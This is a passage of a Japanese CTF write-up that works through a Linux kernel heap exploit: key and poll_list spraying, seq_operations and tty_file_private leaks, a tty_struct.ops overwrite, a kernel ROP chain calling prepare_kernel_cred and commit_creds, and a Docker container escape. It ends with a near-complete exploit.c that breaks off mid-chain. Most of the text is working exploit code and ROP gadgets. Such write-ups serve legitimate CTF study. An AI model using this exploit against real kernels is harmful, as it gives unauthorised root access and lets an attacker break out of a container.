あ、バッファサイズが小さい場合には、undefinedな動作が起こるらしい…。ということで、keyctl_read()
に渡すバッファサイズを十分大きく(>=0x4330)してもう一度やってみると:
よさそう!
leak kheap via tty_struct
/ tty_file_private
kbase leakができました。さて、どうしよう。一瞬このままuser_key_payload
であり且つseq_operations
でもあるオブジェクトをuser_key_payload
としてkfreeし、setxattr
を使ってseq_operations
内のポインタを書き換えてやればRIPが取れるじゃんと思いましたが、KPTIがある都合上stack pivotする必要があり、heapのアドレスが必要であることに気が付きました。
とりあえずはheapのアドレスが欲しい。幸いにも、kbaseのleakに使ったuser_key_payload
だったオブジェクトは、上に乗っているseq_operations
を解放して他のオブジェクトにしてやることで再度leakをすることができます。というわけで、tty_struct
を使いましょう。/dev/ptmx
を開くと以下のパスに到達します:
1struct tty_file_private {
2 struct tty_struct *tty;
3 struct file *file;
4 struct list_head list;
5};
6
7static int ptmx_open(struct inode *inode, struct file *filp)
8{
9 struct tty_struct *tty;
10 int retval;
11 ...
12 retval = tty_alloc_file(filp);
13 ...
14 tty = tty_init_dev(ptm_driver, index);
15 ...
16 tty_add_file(tty, filp);
17 ...
18}
19
20int tty_alloc_file(struct file *file)
21{
22 struct tty_file_private *priv;
23
24 priv = kmalloc(sizeof(*priv), GFP_KERNEL);
25 file->private_data = priv;
26 return 0;
27}
28void tty_add_file(struct tty_struct *tty, struct file *file)
29{
30 struct tty_file_private *priv = file->private_data;
31
32 priv->tty = tty;
33 priv->file = file;
34 ...
35}
ここで、tty_alloc_file()
は/dev/ptmx
のstruct file
のprivate_data
メンバに対してstruct tty_file_private
を確保して入れます。これはkmalloc-32
から確保されます。その後、tty_init_dev()
でstruct tty_struct
をkmalloc-1024
から確保します。そして、tty_add_file()
でstruct tty_file_private
内にstruct tty_struct
のアドレスを格納します。つまり、kmalloc-32
内のtty_file_private
をleakすることでkmalloc-1024
のアドレスをleakすることができます。
1 // Free all keys except UAFed key
2 for (int ix = 0; ix != NUM_KEY_SPRAY * 2; ++ix) {
3 if (keys[ix] != uafed_key) {
4 if (keyctl_revoke(keys[ix]) != 0) errExit("keyctl_revoke");
5 if (keyctl_unlink(keys[ix], KEY_SPEC_PROCESS_KEYRING) != 0) errExit("keyctl_unlink");
6 }
7 }
8
9 // Place `tty_file_private` on UAFed `user_key_payload` in kmalloc-32
10 for (int ix = 0; ix != NUM_TTY_SPRAY; ++ix) {
11 if (open("/dev/ptmx", O_RDWR) <= 2) errExit("open tty");
12 }
13
14 // Read `tty_file_private.tty` which points to `tty_struct` in kmalloc-1024
15 memset(keybuf, 0, 0x5000);
16 if(keyctl_read(uafed_key, keybuf, 0x5000) <= 0) errExit("keyctl_read");
17 ulong km1024_leaked = 0;
18 ulong *tmp = (ulong*)keybuf + 1;
19 for (int ix = 0; ix != 0x4330/8 - 2 - 1; ++ix) {
20 if ((tmp[ix] >> (64-4*4)) == 0xFFFF && tmp[ix+2] == tmp[ix+3] && tmp[ix+2] != 0 && (tmp[ix] & 0xFF) == 0x00) { // list_head's next and prev are same
21 km1024_leaked = tmp[ix];
22 printf("[!] \t+0: 0x%lx (tty)\n", tmp[ix]);
23 printf("[!] \t+1: 0x%lx (*file)\n", tmp[ix + 1]);
24 printf("[!] \t+2: 0x%lx (list_head.next)\n", tmp[ix + 2]);
25 printf("[!] \t+3: 0x%lx (list_head.prev)\n", tmp[ix + 3]);
26 break;
27 }
28 }
29 if (km1024_leaked == 0) errExit("Failed to leak kmalloc-1024");
30 printf("[!] leaked kmalloc-1024: 0x%lx\n", km1024_leaked);
良さそう!と思いきや、実際に表示されたtty
のアドレスを見てみると、先頭がマジックナンバー(0x5401
)ではなかったため違うポインタでした。何度試してみても、tty
と思わしきものは50回に1回程度しかleakできない…。うーん、何が悪いのか。UAFされたuser_key_payload
以外のkeyをfreeして代わりにtty_file_private
を置いたあとのuser_key_payload
が以下の感じ:
先頭32byteがuser_key_payload
で、上にはkbaseのleakに使ったseq_operations
が乗っかっています。leakできるのはuser_key_payload
よりも下の0x4330
byte程度(これは、seq_operations
をUAFで乗せた際に、user_key_payload.datalen
がsingle_next
のアドレスの下2byteである4330
で上書きされるため)であるため見てみると、seq_operations
の名残がいくつか見えますね。0xa748dc1b1f063d98
は、おそらくフリーなスラブオブジェクト内のリストポインタが暗号化(CONFIG_SLAB_FREELIST_HARDENED
)されているやつでしょう。このことから考えられることとしては、keyのスプレーが少なくてキャッシュ内がkeyで満たされる前に同じ領域にseq_operations
が入ってきてしまったことが考えられます。よって、スプレーするkeyを増やしてみたところ以下の感じ:
偶然のような気もしますが、ランダムなQWORD(つまり、暗号化されたスラブのポインタ)と0x41414141
(keyのペイロードとして入れた値)が同一オブジェクト内に入っているため、keyとして割り当てられていたオブジェクトがフリーされていることが分かります。しかし、フリーされたままということはtty_file_private
をスプレーする数が少なかったということでしょうか。少し増やしてみましたが、やはりできません。悲しい。
ここで自分のコードを見てみると…:
1#define NUM_KEY_SPRAY 80 + 10
2#define NUM_POLLFD 30 + 510 + 1 // stack, kmalloc-4k, kmalloc-32
3#define NUM_POLLLIST_ALLOC 0x10 - 0x1
4
5key_serial_t keys[NUM_KEY_SPRAY * 5] = {0};
6for (int ix = 0; ix != NUM_KEY_SPRAY * 2; ++ix) {...}
7for (int ix = 0; ix != NUM_KEY_SPRAY * 9; ++ix) {...}
馬鹿!!大馬鹿!おまわりさん、馬鹿はこいつです!捕まえちゃってください! マクロなんて所詮文字列置換なので、NUM_KEY_SPRAY * 2
は80 + 10 * 2
と評価されてしまいます!どうりで思った動きしないわけだよ!
というわけで、上のバグを直して十分なtty_file_private
を確保してみた上で、一旦kbaseをリークした直後(keyは全て解放前。UAFされたkeyの上にはseq_operations
が乗っている)のヒープを見てみるとこんな感じ:
一番上がUAFされたkeyで、その直後にはたくさんのkeyが存在していることが分かります(paylod=AAAAA
)。理想的な状況ですね。これでも上手くいかないのはなぜ…。ここでkey
周りのソースを見返してみます:
1/*
2 * Clean up a keyring when it is destroyed. Unpublish its name if it had one
3 * and dispose of its data.
4 *
5 * The garbage collector detects the final key_put(), removes the keyring from
6 * the serial number tree and then does RCU synchronisation before coming here,
7 * so we shouldn't need to worry about code poking around here with the RCU
8 * readlock held by this time.
9 */
10static void keyring_destroy(struct key *keyring) {...}
あ、unlink
後にGC(security/keys/gc.c
)がfreeするのか…! ということは、tty_file_private
をスプレーする前に1秒ほどsleepしてGCを待ってやるといいのではと思いやってみると:
よさそう〜〜〜!
get RIP by overwriting tty_struct.ops
さて、続いてRIPをとりましょう。や、取らなくても年は越せるんですが。
現状ですが、kmalloc-32
にUAFされたuser_key_payload
(+上に乗っかっているtty_file_private
)があります。このUAFを再利用して、今度はUAF writeをしましょう。具体的には、poll_list
がkmalloc-1024 -> kmalloc-32
のリストになっている時、kmalloc-32
をUAFで上書きし、poll_list.next
ポインタにtty_struct(kmalloc-1024)
のアドレスを書き込んでやります。その状態でpoll_list
をfreeすることで関係ないtty_struct
をfreeしてやることができます。tty_struct
をUAFできたら、あとはopsを書き換えてやればいいはず…多分…!
というわけで、それらをしてくれるコードがこれです(3分クッキング感):
1 // Free `seq_operations`, one of which is `user_key_payload`
2 for (int ix = NUM_SEQOPERATIONS - NUM_FREE_SEQOPERATIONS; ix != NUM_SEQOPERATIONS; ++ix) {
3 close(seqops_fd[ix]);
4 }
5 puts("[+] Freeed seq_operations");
6
7 // Spray `poll_list` in kmalloc-32, one of which is placed on `user_key_payload`
8 assign_to_core(2);
9 neverend = 1;
10 puts("[+] spraying `poll_list` in kmalloc-32...");
11 num_threads = 0;
12 for (int ix = 0; ix != NUM_2ND_POLLLIST_ALLOC; ++ix) {
13 struct alloc_poll_list_t *arg = malloc(sizeof(struct alloc_poll_list_t));
14 arg->fd = just_fd; arg->id = ix;
15 arg->timeout_ms = 3000; // must 1000 < timeout_ms, to wait key GC
16 arg->num_size = 30 + 2;
17 if(pthread_create(&threads[ix], NULL, alloc_poll_list, arg) != 0) errExit("pthread_create");
18 }
19
20 // Revoke UAFed key, which is on `poll_list` in kmalloc-32
21 puts("[+] Freeing UAFed key...");
22 free_key(uafed_key);
23 sleep(1);
24
25 // Spray keys on UAFed `poll_list`
26 puts("[+] spraying keys in kmalloc-32");
27 assert(num_keys == 0);
28 {
29 char *key_payload = malloc(SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
30 memset(key_payload, 'X', SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
31 _alloc_key_prefill_ulong_val = 0xDEADBEEF;
32
33 for (int ix = 0; ix != NUM_2ND_KEY_SPRAY; ++ix) {
34 alloc_key(key_payload, SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS, _alloc_key_prefill_ulong);
35 }
36 }
user_key_payload
を確保する前に予めsetxattr()
で0xDEADBEEF
を書き込んでいます。これによって、user_key_payload.rcu
がこの値になり、且つpoll_list.next
がこの値になるはず。実行してみると…:
??? Kernel memory overwrite attempt detected to SLUB object 'filp'
らしいです。ソースを読んでみると、これはCONFIG_HARDENED_USERCOPY
が有効な場合に表示される文面みたいですね。
1void __noreturn usercopy_abort(const char *name, const char *detail,
2 bool to_user, unsigned long offset,
3 unsigned long len)
4{
5 pr_emerg("Kernel memory %s attempt detected %s %s%s%s%s (offset %lu, size %lu)!\n",
6 to_user ? "exposure" : "overwrite",
7 to_user ? "from" : "to",
8 name ? : "unknown?!",
9 detail ? " '" : "", detail ? : "", detail ? "'" : "",
10 offset, len);
11 BUG();
12}
13void __check_heap_object(const void *ptr, unsigned long n, struct page *page, bool to_user)
14{
15 ...
16 usercopy_abort("SLUB object", s->name, to_user, offset, n);
17}
何回かやってみると、keyのスプレーの際にfilp
とかworker_pool
とかいうkmalloc-256
サイズのキャッシュへのoverwriteが検知されて落ちているみたいです。おそらくですが、poll_list
をスプレーするスレッドを立ち上げてからすぐにuser_key_payload
をfreeさせるようにしていたため、UAFしているオブジェクトにpoll_list
が確保される前にuser_key_payload
がfreeされてしまい、seq_operations
のfreeと相まってdouble freeになってヒープが崩壊してしまったせいなんじゃないかと思います。そこで、スレッドを立ち上げた後に少しだけsleepしてみると、とりあえずこのエラーは出なくなりました。必要なguessingは、必要です。
dead beef、良さそう!続いて、deadbeefをちゃんと先程leakしたtty_struct
のアドレスにしてUAFし、その後で0x1000
サイズのuser_key_payload
をスプレーすることで全て0x5401
(tty_struct
のmagic number)で埋めてみると:
うんうん、良さそう。tty_struct.ops
も一緒に0x5401
に書き換えたので、ちゃんと落ちてくれてますね!RIPが取れました。
get root by kROP on tty_struct
itself
TTYへのioctl()
によって、ジャンプ直後のレジスタの値は以下のようになります:
RBX, RCX, RSI
は第2引数で4byte、RDX, R8, R12
は第3引数で8byteだけ任意に指定できます。RDI
とRBP
とR14
はtty_struct
自身を指します。stack pivotをするために、push RXX, JMP RYY, POP RSP
のようなことをしたいのですが、RSI
達は4byteしか指定できないため使うことはできません。
さて、みなさんも覚えておきましょう、tty_struct
はまじでROPしやすいです:
1 char *key_payload = malloc(0x1000);
2 ulong *buf = (ulong*)key_payload;
3 buf[0] = 0x5401; // magic, kref (later `leave`ed and become RBP)
4 buf[1] = KADDR(0xffffffff8191515a); // dev (later become ret addr of `leave` gadget, which is `pop rsp`)
5 buf[2] = km1024_leaked + 0x50 + 0x120; // driver (MUST BE VALID) (later `pop rsp`ed)
6 buf[3] = km1024_leaked + 0x50; // ops
7
8 ulong *ops = (ulong*)(key_payload + 0x50);
9 for (int ix = 0; ix != 0x120 / 8; ++ix) { // sizeof tty_operations
10 ops[ix] = KADDR(0xffffffff81577609); // pop rsp
11 }
12
13 ulong *rop = (ulong*)((char*)ops + 0x120);
14 *rop++ = ...
15
16 assert((ulong)rop - (ulong)key_payload < 516);
まず、ops
を書き換えてtty_struct + 0x50
を指すようにします。この領域に偽のvtableとしてleave
するガジェットのアドレスを入れておきます。すると、上で書いたようにRBP
にはtty_struct
自身のアドレスが入っているため、leave
するとtty_struct
のアドレスがRSP
に入ります。この状態でRET
すると、tty_struct + 8
に入っているアドレスに戻ることになります。ここはtty_struct.dev
ポインタであり、壊れてても良い値なので、ここにtty_struct + 0x50 + 0x120
のアドレスを入れておきます。あとは、+0x50 + 0x120
の領域に好きなROPを組んでおくだけです。本当に、ROPのためにある構造体と言っても過言ではありません。偶然magic numberもvalidでなくてはいけないポインタ(+0x10: driver
)を壊すことなくいけます。奇跡の構造体です。
ROP自体はこんな感じ:
1 *rop++ = KADDR(0xffffffff81906510); // pop rdi
2 *rop++ = 0;
3 *rop++ = KADDR(0xffffffff810ebc90); // prepare_kernel_cred
4
5 *rop++ = KADDR(0xffffffff812c32a9); // pop rcx (to prevent later `rep`)
6 *rop ++ = 0;
7 *rop++ = KADDR(0xffffffff81a05e4b); // mov rdi, rax; rep movsq; (simple `mov rdi, rax` not found)
8 *rop++ = KADDR(0xffffffff810eba40); // commit_creds
9
10 *rop++ = KADDR(0xffffffff81c00ef0 + 0x16); // swapgs_restore_regs_and_return_to_usermode + 0x16
11 // mov rdi,rsp; mov rsp,QWORD PTR gs:0x6004; push QWORD PTR [rdi+0x30]; ...
12 *rop++ = 0;
13 *rop++ = 0;
14 *rop++ = (ulong)NIRUGIRI;
15 *rop++ = user_cs;
16 *rop++ = user_rflags;
17 *rop++ = (ulong)krop_stack + KROP_USTACK_SIZE / 2;
18 *rop++ = user_ss;
ルート!
container escape
しかし、この問題はこれで終わりではありません。コンテナの中なので、コンテナエスケープする必要があります。個々から先の知識は全くありません、またもやカンニングしましょう。こっから先は写経です。意味のある写経です。カス写経です。
といっても、RIPとれてればそんなに難しいことではないみたい。docker内ではsetns()
syscallは禁止されてるから、今回はfilesystem namespaceだけ移動させます。以下の感じ:
1// ROOTをとるには...?
2commit_cred(prepare_kernel_cred(0));
3
4// docker escape(fs)するには...?
5switch_task_namespaces(find_task_vpid(1), init_nsproxy);
6current->fs = copy_fs_struct(init_fs);
これだけ!やった〜〜〜〜。
rop.c 1 *rop++ = KADDR(0xffffffff81906510); // pop rdi
2 *rop++ = 1; // init process in docker container
3 *rop++ = KADDR(0xffffffff810e4fc0); // find_task_by_vpid
4 *rop++ = KADDR(0xffffffff812c32a9); // pop rcx (to prevent later `rep`)
5 *rop ++ = 0;
6 *rop++ = KADDR(0xffffffff81a05e4b); // mov rdi, rax; rep movsq; (simple `mov rdi, rax` not found)
7 *rop++ = KADDR(0xffffffff819b21d3); // pop rsi
8 *rop++ = KADDR(0xffffffff8245a720); // &init_nsproxy
9 *rop++ = KADDR(0xffffffff810ea4e0); // switch_task_namespaces
10
11 *rop++ = KADDR(0xffffffff81906510); // pop rdi
12 *rop++ = KADDR(0xffffffff82589740); // &init_fs
13 *rop++ = KADDR(0xffffffff812e7350); // copy_fs_struct
14 *rop++ = KADDR(0xffffffff8131dab0); // push rax; pop rbx
15
16 *rop++ = KADDR(0xffffffff81906510); // pop rdi
17 *rop++ = getpid();
18 *rop++ = KADDR(0xffffffff810e4fc0); // find_task_by_vpid
19
20 *rop++ = KADDR(0xffffffff8117668f); // pop rdx
21 *rop++ = 0x6E0;
22 *rop++ = KADDR(0xffffffff81029e7d); // add rax, rdx
23 *rop++ = KADDR(0xffffffff817e1d6d); // mov qword [rax], rbx ; pop rbx ; ret ; (1 found)
24 *rop++ = 0; // trash
アウトロ
うおうおふぃっしゅらいふ。
Full Exploit
exploit.c 1#include "./exploit.h"
2#include <bits/pthreadtypes.h>
3#include <keyutils.h>
4#include <pthread.h>
5#include <sys/mman.h>
6#include <unistd.h>
7
8/*********** commands ******************/
9#define DEV_PATH "/proc_rw/cormon" // the path the device is placed
10
11/*********** constants ******************/
12#define DESC_KEY_TOBE_OVERWRITTEN_SEQOPS "exploit0"
13#define SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS 0x8
14#define NUM_KEY_SPRAY (0x60)
15#define NUM_2ND_KEY_SPRAY (NUM_KEY_SPRAY * 2)
16#define NUM_3RD_KEY_SPRAY (0x10 + 0x8)
17#define NUM_3RD_KEY_SIZE (0x290)
18
19#define NUM_PREPARE_KM32_SPRAY 2000
20
21#define NUM_POLLFD (30 + 510 + 1) // stack, kmalloc-4k, kmalloc-32
22#define NUM_1ST_POLLLIST_ALLOC (0x10 - 0x1 + 0x1)
23#define NUM_2ND_POLLLIST_ALLOC (0x120 + 0x20 + 0x40 + 0x40 + 0x40 + 0x200)
24#define TIMEOUT_POLLFD 2000 // 2s
25
26#define NUM_TTY_SPRAY (0x100)
27
28#define NUM_SEQOPERATIONS (NUM_1ST_POLLLIST_ALLOC + 0x100)
29#define NUM_FREE_SEQOPERATIONS (0x160)
30
31#define KADDR(addr) ((ulong)addr - 0xffffffff81000000 + kbase)
32
33/*********** globals ******************/
34
35int cormon_fd;
36int just_fd;
37key_serial_t keys[NUM_KEY_SPRAY * 5] = {0};
38int seqops_fd[0x500];
39int tty_fd[NUM_TTY_SPRAY * 2];
40char *cormon_buf[0x1000 + 0x20] = {0};
41pthread_t threads[0x1000];
42int num_threads = 0;
43pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
44
45ulong kbase = 0;
46int neverend = 0;
47
48char *krop_stack = NULL;
49#define KROP_USTACK_SIZE 0x10000
50
51/*********** utils ******************/
52
53int num_keys = 0;
54ulong _alloc_key_prefill_ulong_val = 0;
55void _alloc_key_prefill_ulong() {
56 static char *data = NULL;
57 if (data == NULL) data = calloc(0x1000, 1);
58 //for (int ix = 0; ix != 32 / 8; ++ix) ((ulong*)data)[ix] = _alloc_key_prefill_ulong_val;
59 ((ulong*)data)[0] = _alloc_key_prefill_ulong_val;
60 setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
61}
62void _alloc_key_prefill_null(void) {
63 _alloc_key_prefill_ulong_val = 0;
64 _alloc_key_prefill_ulong();
65}
66void alloc_key(char *payload, int size, void (*prefill)(void)) {
67 static char *desc = NULL;
68 if (desc == NULL) desc = calloc(1, 0x1000);
69
70 sprintf(desc, "key_%d", num_keys);
71 if (prefill != NULL) prefill();
72 keys[num_keys] = add_key("user", desc, payload, size, KEY_SPEC_PROCESS_KEYRING);
73 if (keys[num_keys] < 0) errExit("alloc_key");
74 num_keys++;
75}
76void spray_keys(int num, char c) {
77 static char *payload = NULL;
78 if (payload == NULL) payload = calloc(1, 0x1000);
79 char *key_payload = malloc(SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
80 memset(key_payload, c, SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
81
82 for (int ix = 0; ix != num; ++ix) alloc_key(key_payload, SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS, _alloc_key_prefill_null);
83}
84void free_key(key_serial_t key) {
85 if (keyctl_revoke(key) != 0) errExit("keyctl_revoke");
86 if (keyctl_unlink(key, KEY_SPEC_PROCESS_KEYRING) != 0) errExit("keyctl_unlink");
87 --num_keys;
88}
89
90struct alloc_poll_list_t {
91 int fd;
92 int id;
93 int num_size;
94 int timeout_ms;
95};
96void* alloc_poll_list(void *_arg) {
97 struct pollfd fds[NUM_POLLFD];
98 struct alloc_poll_list_t *arg = (struct alloc_poll_list_t *)_arg;
99 assert(arg->fd >= 2);
100
101 for (int ix = 0; ix != arg->num_size; ++ix) {
102 fds[ix].fd = arg->fd;
103 fds[ix].events = POLLERR;
104 }
105 pthread_mutex_lock(&mutex);
106 ++num_threads;
107 pthread_mutex_unlock(&mutex);
108
109 thread_assign_to_core(0);
110 if (poll(fds, arg->num_size, arg->timeout_ms) != 0) errExit("poll");
111
112 pthread_mutex_lock(&mutex);
113 --num_threads;
114 pthread_mutex_unlock(&mutex);
115
116 if (neverend) {
117 thread_assign_to_core(2);
118 while(neverend);
119 }
120
121 return NULL;
122}
123
124void nullbyte_overflow(void) {
125 assert(cormon_fd >= 2);
126 memset(cormon_buf, 'B', 0x1000 + 0x20);
127 strcpy((char*)cormon_buf + 1, "THIS_IS_CORMON_BUFFER");
128 *cormon_buf = 0x00;
129
130 if(write(cormon_fd, cormon_buf, 0x1000) != -1) errExit("nullbyte_overflow");
131 errno = 0; // `write()` above must fail, so clear errno here
132}
133
134/*********** main ******************/
135
136int main(int argc, char *argv[]) {
137 char *keybuf = malloc(0x5000); // must be >= 0x4330 (low 2byte of single_next())
138 puts("[.] Starting exploit.");
139
140 puts("[+] preparing stack for later kROP...");
141 save_state();
142 krop_stack = mmap((void*)0x10000000, KROP_USTACK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
143 if (krop_stack == MAP_FAILED) errExit("mmap");
144
145 assign_to_core(0);
146 if ((cormon_fd = open(DEV_PATH, O_RDWR)) <= 2) errExit("open cormon");
147
148 // Pre-spray kmalloc-32
149 puts("[+] pre-spraying kmalloc-32...");
150 for (int ix = 0; ix != NUM_PREPARE_KM32_SPRAY; ++ix) {
151 if (open("/proc/self/stat", O_RDONLY) <= 2) errExit("prespray");
152 }
153
154 // Spray victim `user_key_payload` in kmalloc-32
155 puts("[+] Spraying keys...");
156 spray_keys(NUM_KEY_SPRAY, 'A');
157
158 // Spray poll_list in kmalloc-32 and kmalloc-4k
159 just_fd = open("/etc/hosts", O_RDONLY);
160 printf("[+] Spraying poll_list (fd=%d)...\n", just_fd);
161 if (just_fd <= 2) errExit("just_fd");
162
163 assign_to_core(1);
164 num_threads = 0;
165 for (int ix = 0; ix != NUM_1ST_POLLLIST_ALLOC + 3; ++ix) {
166 struct alloc_poll_list_t *arg = malloc(sizeof(struct alloc_poll_list_t));
167 arg->fd = just_fd; arg->id = ix;
168 arg->timeout_ms = ix < NUM_1ST_POLLLIST_ALLOC ? TIMEOUT_POLLFD : 1;;
169 arg->num_size = NUM_POLLFD;
170 if(pthread_create(&threads[ix], NULL, alloc_poll_list, arg) != 0) errExit("pthread_create");
171 }
172
173 // Wait some of `poll_list` in kmalloc-4k is freed (these are expected to be reused by cormon_proc_write())
174 assign_to_core(0);
175 usleep(500 * 1000); // wait threads are initialized
176 for(int ix = NUM_1ST_POLLLIST_ALLOC; ix < NUM_1ST_POLLLIST_ALLOC + 3; ++ix) {
177 pthread_join(threads[ix], NULL);
178 }
179
180 // Spray again victim `user_key_payload` in kmalloc-32
181 spray_keys(NUM_KEY_SPRAY, 'A');
182
183 // NULL-byte overflow (hopelly) on `poll_list`, whose `next` pointer get pointing to `user_key_payload` in kmalloc-32.
184 puts("[+] NULL-byte overflow ing...");
185 nullbyte_overflow();
186
187 // Wait all `poll_list` are freed
188 for (int ix = 0; ix != NUM_1ST_POLLLIST_ALLOC; ++ix) {
189 open("/proc/self/stat", O_RDONLY);
190 pthread_join(threads[ix], NULL);
191 }
192 puts("[+] Freed all 'poll_list'");
193
194 // Place `seq_operations` on UAFed `user_key_payload` in kmalloc-32
195 for(int ix = 0; ix != NUM_SEQOPERATIONS; ++ix) {
196 if ((seqops_fd[ix] = open("/proc/self/stat", O_RDONLY)) <= 2) errExit("open seqops");
197 }
198
199 // Check all keys to leak kbase via `seq_operations`
200 ulong single_show = 0;
201 key_serial_t uafed_key = 0;
202 for (int ix = 0; ix != NUM_KEY_SPRAY * 2; ++ix) {
203 int num_read;
204 memset(keybuf, 0, 0x5000);
205 if((num_read = keyctl_read(keys[ix], keybuf, 0x5000)) <= 0) errExit("keyctl_read");
206 if (strncmp(keybuf, "AAAA", 4) != 0) {
207 single_show = *(ulong*)keybuf;
208 uafed_key = keys[ix];
209 if (single_show == 0) {
210 puts("[-] somehow, empty key found");
211 } else break;
212 }
213 }
214 if (single_show == 0) {
215 puts("[-] Failed to leak kbase");
216 exit(1);
217 }
218 printf("[!] leaked single_show: 0x%lx\n", single_show);
219 kbase = single_show - (0xffffffff813275c0 - 0xffffffff81000000);
220 printf("[!] leaked kbase: 0x%lx\n", kbase);
221
222 // Free all keys except UAFed key
223 for (int ix = 0; ix != NUM_KEY_SPRAY * 2; ++ix) {
224 if (keys[ix] != uafed_key) free_key(keys[ix]);
225 }
226 sleep(1); // wait GC(security/keys/gc.c) actually frees keys
227
228 // Place `tty_file_private` on UAFed `user_key_payload` in kmalloc-32
229 for (int ix = 0; ix != NUM_TTY_SPRAY; ++ix) {
230 if ((tty_fd[ix] = open("/dev/ptmx", O_RDWR | O_NOCTTY)) <= 2) errExit("open tty");
231 }
232
233 // Read `tty_file_private.tty` which points to `tty_struct` in kmalloc-1024
234 memset(keybuf, 0, 0x5000);
235 int num_read = 0;
236 if((num_read = keyctl_read(uafed_key, keybuf, 0x5000)) <= 0) errExit("keyctl_read");
237 printf("[+] read 0x%x bytes from UAFed key\n", num_read);
238 ulong km1024_leaked = 0;
239 ulong *tmp = (ulong*)keybuf + 1;
240 for (int ix = 0; ix != 0x4330/8 - 2 - 1; ++ix) {
241 if (
242 (tmp[ix] >> (64-4*4)) == 0xFFFF && // tty must be in kheap
243 (tmp[ix + 1] >> (64-4*4)) == 0xFFFF && // file must be in kheap
244 tmp[ix+2] == tmp[ix+3] && tmp[ix+2] != 0 && // list_head's next and prev are same
245 (tmp[ix] & 0xFF) == 0x00 && // tty must be 0x100 aligned
246 (tmp[ix + 1] & 0xFF) == 0x00 && // file must be 0x100 aligned
247 (tmp[ix + 2] & 0xF) == 0x08
248 ) {
249 if (km1024_leaked == 0) {
250 km1024_leaked = tmp[ix];
251 printf("[!] \t+0: 0x%lx (tty)\n", tmp[ix]);
252 printf("[!] \t+1: 0x%lx (*file)\n", tmp[ix + 1]);
253 printf("[!] \t+2: 0x%lx (list_head.next)\n", tmp[ix + 2]);
254 printf("[!] \t+3: 0x%lx (list_head.prev)\n", tmp[ix + 3]);
255 break;
256 }
257 }
258 }
259 if (km1024_leaked == 0) {
260 print_curious(keybuf, 0x4300, 0);
261 errExit("Failed to leak kmalloc-1024");
262 }
263 printf("[!] leaked kmalloc-1024: 0x%lx\n", km1024_leaked);
264
265 /********************************************************/
266
267 // Free `seq_operations`, one of which is `user_key_payload`
268 for (int ix = NUM_SEQOPERATIONS - NUM_FREE_SEQOPERATIONS; ix != NUM_SEQOPERATIONS; ++ix) {
269 close(seqops_fd[ix]);
270 }
271 puts("[+] Freeed seq_operations");
272
273 sleep(5); // TODO
274 // Spray `poll_list` in kmalloc-32, one of which is placed on `user_key_payload`
275 assign_to_core(2);
276 neverend = 1;
277 puts("[+] spraying `poll_list` in kmalloc-32...");
278 num_threads = 0;
279 for (int ix = 0; ix != NUM_2ND_POLLLIST_ALLOC; ++ix) {
280 struct alloc_poll_list_t *arg = malloc(sizeof(struct alloc_poll_list_t));
281 arg->fd = just_fd; arg->id = ix;
282 arg->timeout_ms = 3000; // must 1000 < timeout_ms, to wait key GC
283 arg->num_size = 30 + 2;
284 if(pthread_create(&threads[ix], NULL, alloc_poll_list, arg) != 0) errExit("pthread_create");
285 }
286 // wait threads are initialized (to prevent double free)
287 assign_to_core(0);
288 while(num_threads != NUM_2ND_POLLLIST_ALLOC);
289 usleep(300 * 1000);
290
291 // Revoke UAFed key, which is on `poll_list` in kmalloc-32
292 puts("[+] Freeing UAFed key...");
293 free_key(uafed_key);
294 sleep(1);
295
296 // Spray keys on UAFed `poll_list`
297 puts("[+] spraying keys in kmalloc-32");
298 assert(num_keys == 0);
299 {
300 char *key_payload = malloc(SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
301 memset(key_payload, 'X', SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
302 ((ulong*)key_payload)[0] = 0x9999999999999999; // debug
303 _alloc_key_prefill_ulong_val = km1024_leaked - 0x18; // 0x18 is offset where `user_key_payload` can modify from
304
305 for (int ix = 0; ix != NUM_2ND_KEY_SPRAY; ++ix) {
306 alloc_key(key_payload, SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS, _alloc_key_prefill_ulong);
307 }
308 }
309
310 puts("[+] waiting corrupted `poll_list` is freed...");
311 neverend = 0;
312 for(int ix = 0; ix != NUM_2ND_POLLLIST_ALLOC; ++ix) {
313 pthread_join(threads[ix], NULL);
314 }
315
316 // Free all keys
317 for (int ix = 0; ix != NUM_2ND_KEY_SPRAY; ++ix) {
318 free_key(keys[ix]);
319 }
320 puts("[+] waiting all keys are freed by GC...");
321 sleep(1); // wait GC(security/keys/gc.c) actually frees keys
322
323 // Spray keys in `kmalloc-1024`, one of which must be placed on `tty_struct`
324 puts("[+] spraying keys in kmalloc-1024");
325 assert(num_keys == 0);
326 {
327 char *key_payload = malloc(0x1000);
328 ulong *buf = (ulong*)key_payload;
329 buf[0] = 0x5401; // magic, kref (later `leave`ed and become RBP)
330 buf[1] = KADDR(0xffffffff8191515a); // dev (later become ret addr of `leave` gadget, which is `pop rsp`)
331 buf[2] = km1024_leaked + 0x50 + 0x120; // driver (MUST BE VALID) (later `pop rsp`ed)
332 buf[3] = km1024_leaked + 0x50; // ops
333
334 ulong *ops = (ulong*)(key_payload + 0x50);
335 for (int ix = 0; ix != 0x120 / 8; ++ix) { // sizeof tty_operations
336 ops[ix] = KADDR(0xffffffff81577609); // pop rsp
337 }
338
339 ulong *rop = (ulong*)((char*)ops + 0x120);
340 *rop++ = KADDR(0xffffffff81906510); // pop rdi
341 *rop++ = 0;
342 *rop++ = KADDR(0xffffffff810ebc90); // prepare_kernel_cred
343
344 *rop++ = KADDR(0xffffffff812c32a9); // pop rcx (to prevent later `rep`)
345 *rop ++ = 0;
346 *rop++ = KADDR(0xffffffff81a05e4b); // mov rdi, rax; rep movsq; (simple `mov rdi, rax` not found)
347 *rop++ = KADDR(0xffffffff810eba40); // commit_creds
348
349 *rop++ = KADDR(0xffffffff81906510); // pop rdi
350 *rop++ = 1; // init process in docker container
351 *rop++ = KADDR(0xffffffff810e4fc0); // find_task_by_vpid
352 *rop++ = KADDR(0xffffffff812c32a9); // pop rcx (to prevent later `rep`)
353 *rop ++ = 0;
